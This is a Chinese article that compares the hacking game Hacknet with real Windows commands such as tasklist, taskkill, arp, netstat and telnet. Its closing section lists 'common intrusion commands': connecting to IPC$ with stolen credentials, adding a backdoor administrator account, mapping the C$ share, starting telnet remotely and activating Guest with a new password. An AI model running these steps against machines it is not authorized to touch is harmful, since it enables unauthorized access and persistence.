《黑客网络(Hacknet)》是一款基于终端操作的黑客模拟游戏。基于真实的UNIX命令,黑客网络专注于真实的黑客体验,使玩家有着身临其境的感觉。那么游戏中与现实又有哪些相似点呢?今天小编就为大家带来游戏与现实之间的相似点科普,感兴趣的朋友快来看看吧!
游戏与现实之间的相似点
首先按照游戏剧情来寻找DOS的相应命令吧(还挺有趣的)。首先第一关开始的时候是让玩家找到PID进程并kill它。而在WINDOWS中则是使用:tasklist
效果如下(请点击大图查看)
获得tasklist的语法帮助使用语句:tasklist /?
效果如下(请点击大图查看)
接下来开启一个QQ播放器的进程,获得PID如下(请点击大图查看)
PID:24392
接着使用命令:taskkill /pid 24392 /f 来结束进程。
小笔记:和游戏一样,使用上下键可以快速切换到输入过的指令。
按照剧情第一关初步任务完成。
更多相关讨论请前往:黑客网络论坛
接下来是第二关,任务是使用scan搜索和自己连接的电脑了。(这个嘛在现实中会比较麻烦了。)
但是有这个东西可以使用下,WINDOWS的话先用局域网做例子吧,局域网的话电脑之间相互连接很近,不会像外网那么麻烦,很接近游戏中的效果呢。
在WINDOS中使用指令:arp -a (ARP是解析地址协议,-a表示全部的地址),获得局域网的网络列表。
其中,使用ipconfig来确定自己是哪一个ip地址,很明显,目前就是那个192.168.0.104的接口的说。
首先查看下自己的全部端口情况netstat -a
本地地址列表下方的就是ip地址加端口号了,但是都是本机的哦,就是典型的本地地址了)。
状态的话分为:
LISTENING的(就是听,接收的意思),
ESTABLISHED的意思是建立连接,(FTP端口可以使用这种)。
TIME_WAIT的意思是结束了这次连接。
CLOSE_WAIT表示终止链接。
接下来访局域网的电脑端口吧,不过现实中的分析就没有游戏中的nmap那么顺利了。
首先要使用TELNET服务,去卸载程序的那个窗口里面找到左边的开启服务打开吧。
接着比如上面发现的网关地址:192.168.0.1
访问它看看它的端口有没有开放的,使用:telnet XXX.XXX.X.XXX AAA
其中XXX.XXX.X.XXX是IP地址,AAA是端口号
telnet 192.168.0.1 80
如果端口开发了,则会变成进入。
如果端口没开放,则会打开端口失败。
至于进入对方电脑的话,以知道对方的用户和密码为例,一般黑客入侵所需要的几个常用命令:
1:NET
只要你拥有某IP的用户名和密码,那就用IPC$做连接吧!
这里我们假如你得到的用户是hbx,密码是123456。假设对方IP为127.0.0.1
net use \\127.0.0.1\ipc$ "123456" /user:"hbx"
退出的命令是
net use \\127.0.0.1\ipc$ /delte
下面的操作你必须登陆后才可以用.登陆的方法就在上面。
下面我们讲怎么创建一个用户,由于SA的权限相当于系统的超级用户。
我们加一个heibai的用户密码为lovechina
net user heibai lovechina /add
只要显示命令成功,那么我们可以把他加入Administrator组了。
net localgroup Administrators heibai /add
这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘。
net use z:\\127.0.0.1\c$
net start telnet
这样可以打开对方的TELNET服务。
这里是将Guest用户激活,guest是NT的默认用户,而且无法删除呢?不知道是否这样,我的2000就是删除不了它。
net user guest /active:yes
这里是把一个用户的密码改掉,我们把guest的密码改为lovechina,其他用户也可以的。只要有权限就行了呀!
net user guest lovechina